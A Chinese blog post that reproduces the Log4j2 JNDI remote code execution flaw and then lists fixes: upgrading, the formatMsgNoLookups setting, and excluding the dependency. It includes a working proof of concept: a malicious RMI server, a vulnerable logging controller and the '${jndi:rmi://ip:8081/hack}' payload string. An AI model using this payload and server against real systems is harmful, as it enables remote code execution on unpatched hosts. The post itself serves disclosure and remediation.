Log4j漏洞及解决方案,亲测
先说一下漏洞,看代码吧(漏洞复现)
描述:
Apache Log4j2是一款优秀的Java日志框架。2021年11月24日,阿里云安全团队向Apache官方报告了Apache Log4j2远程代码执行漏洞。由于Apache Log4j2某些功能存在递归解析功能,攻击者可直接构造恶意请求,触发远程代码执行漏洞。漏洞利用无需特殊配置,经阿里云安全团队验证,Apache Struts2、Apache Solr、Apache Druid、Apache Flink等均受影响。2021年12月10日,阿里云安全团队发现 Apache Log4j 2.15.0-rc1 版本存在漏洞绕过,请及时更新至 Apache Log4j 2.15.0-rc2 版本。阿里云应急响应中心提醒 Apache Log4j2 用户尽快采取安全措施阻止漏洞攻击。
影响版本:
经验证 2.15.0-rc1 版本存在绕过,实际受影响范围如下:Apache Log4j 2.x < 2.15.0-rc2
public class HackService {public static void main(String[] args) {try {// 启动服务LocateRegistry.createRegistry(8081);Registry registry = LocateRegistry.getRegistry();// 创建资源Reference reference = new Reference("com.example.log4jdemo.hei.HackTool", "com.example.log4jdemo.hei.HackTool", null);ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);// 绑定资源registry.bind("hack", referenceWrapper);System.out.println("服务初始化完成");} catch (Exception e) {e.printStackTrace();}}
}
public class HackTool {static {System.out.println("先来一个 -> rm -rf /");}
}
@RequestMapping("test")
@RestController
public class TestController {private static final Logger logger = LogManager.getLogger(TestController.class);@RequestMapping(value = "search")public Object test(@RequestParam String str) {logger.error("入参:{}",str);return "OK";}public static void main(String[] args) {String str = "${jndi:rmi://ip:8081/hack}";//${jndi:rmi://ip:8081/hack}logger.error("入参:{}",str);}
}
@SpringBootApplication
public class Log4jDemoApplication {public static void main(String[] args) {SpringApplication.run(Log4jDemoApplication.class, args);}
}
对应的pom文件
<parent><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-parent</artifactId><version>1.5.7.RELEASE</version><relativePath/> <!-- lookup parent from repository --></parent><properties><java.version>1.8</java.version></properties><dependencies><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-test</artifactId><scope>test</scope></dependency><dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><!--<dependency><groupId>org.projectlombok</groupId><artifactId>lombok</artifactId><version>1.18.16</version></dependency>--><!--升级到2.15.0就好了--><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-api</artifactId><version>2.12.1</version>
<!-- <version>2.15.0</version>--></dependency><dependency><groupId>org.apache.logging.log4j</groupId><artifactId>log4j-core</artifactId><version>2.12.1</version>
<!-- <version>2.15.0</version>--></dependency></dependencies><build><plugins><plugin><groupId>org.springframework.boot</groupId><artifactId>spring-boot-maven-plugin</artifactId></plugin></plugins></build>
通过测试发现我们在使用2.0–>2.14版本的时候会出现漏洞,log.error的时候会调这个接口jndi:rmi://ip:8081/hack
解决方案1(升级版本)
升级到2.15之后就不会调用了也就解决了这个漏洞
解决方案2 (临时方案)
JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
具体操作如下:
- nohup java -jar -Dlog4j2.formatMsgNoLookups=true xxx.jar &
- 在resources目录下新建一个
log4j2.component.properties
文件里面放log4j2.formatMsgNoLookups=True
即可 - 在系统环境变量中添加
变量名:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS
变量值:true
解决方案3(排除log4j)
可以通过maven helper
来排除掉log4j的依赖,因为有时候这些依赖并不是自己依赖进来的可能是您所依赖的的依赖里面的依赖
Log4j漏洞及解决方案,亲测相关推荐
- office2010使用mathtype时,出现未找到MathPage.WLL解决方案--亲测有用
office2010使用mathtype时,出现未找到MathPage.WLL解决方案--亲测有用 参考文章: (1)office2010使用mathtype时,出现未找到MathPage.WLL解决 ...
- 解决Maven:Cannot resolve com.oracle.ojdbc:ojdbc6:11.2.0.1.0报红找不到问题,解决方案亲测有效详细图文教程 问题描述
解决Maven:Cannot resolve com.oracle.ojdbc:ojdbc6:11.2.0.1.0报红找不到问题,解决方案亲测有效详细图文教程 问题描述 解决方法 问题描述 有小伙伴遇 ...
- java.lang.IllegalStateException Unable to find a @SpringBootConfiguration错误解决方案(亲测)
问题描述: java.lang.IllegalStateException: Unable to find a @SpringBootConfiguration, you need to use @C ...
- Windows:系统环境变量配置提示系统环境变量太大的问题三种解决方案亲测可用
系统环境变量配置 解决方案1: 解决方案2: 解决方案3: 解决方案1: 1.在系统环境变量中新建路径"path1" 2.在系统环境原来的path下新建路径包含上面的路径" ...
- 开机显示被调用的对象已与其客户端断开连接,解决方案亲测有效
文章目录 错误示例 原因1:黑系统 解决方案1:针对黑系统 注意:一定要用管理员身份运行 原因2:系统账户多登陆 解决方案2:针对账户多登陆 错误示例 原因1:黑系统 装了黑系统,导致系统经常发送错误 ...
- 跨域问题解决方案——亲测有效
一.问题描述 当将一个组态软件部署在服务器1上,打开组态软件绑定部署在服务器2的接口地址时,控制台报错: 这就代表出现了跨域. 二.解决方案 1.在服务器2上打开nginx->conf-> ...
- mac上安装不了oh my zsh解决方案 亲测有效
在使用mac的时候遇到了相当惨绝人寰的事情,就是无法安装oh my zsh. 我在使用oh my zsh官网的两条命令时,总是报错显示SSL连接失败. $ sh -c "$(curl -fs ...
- 中柏ezpad 7 BIOS刷错无法恢复的故障解决方案-亲测有效
自己买了个ezpad7,想着进入bios看看,看到有个双系统,安卓和win8,默认选的是win8,我改成了Android,然后F4保存重启,然后就黑屏了,指示灯还是绿的,悲剧了,变砖了. 然后我在网上 ...
- Latex插入图片报错,解决方案亲测有效!
在论文写作中使用Latex排版出现的图片插入错误: LaTeX Error: Cannot determine size of graphic in Figures/overall-framework ...
- Ubuntu 20.04桌面很卡的解决方案--亲测有效
现象描述: Ubuntu 20.04开机后,整个桌面卡顿严重,鼠标滚动后桌面没响应,几秒钟后屏幕变花,图标重叠,基本无法操作.打开终端也是两三秒钟后才显示终端界面,点击鼠标后,几秒才能显示输入焦点,整 ...
最新文章
- SCVMM2008R2学习(八),硬件配置文件
- mysql使用命令提示符创建库表
- InfluxDB 开源分布式时序、事件和指标数据库
- 找出所有支持UI5的BSP application
- Spring源码 (事务篇) - 整体流程
- 2021-08-01
- 文档图纸加密解决方案
- 无线怎么测试软件,WiFi分析仪软件
- erroe C1083:无法打开包括文件(源文件)
- excel常用函数及快捷键
- 计算机桌面最下面的横条怎么去掉,win7系统桌面出现横条如何去除?桌面出现横条去除方法...
- Symbol的基本使用
- 网易微专业产品经理 学习笔记 ——(1)产品经理之道
- 突发奇想 之 古玩中的代码
- ZXR10 1809 路由器 1800开启WEB配置界面调试方法
- 多少天计算机通知用户更改密码,win10系统怎么设置电脑定期强制提醒用户更改登录密码...
- 高效的公式提取神器Mathpix snipping Tool+ Mathtype
- From MAP, MLE, OLS, G-N to IEKF,EKF
- 城市级智慧水务多系统解决方案
- 工作3个月后个人对测绘专业的重新反思(重新思考武大测绘学科就业问题和读研问题)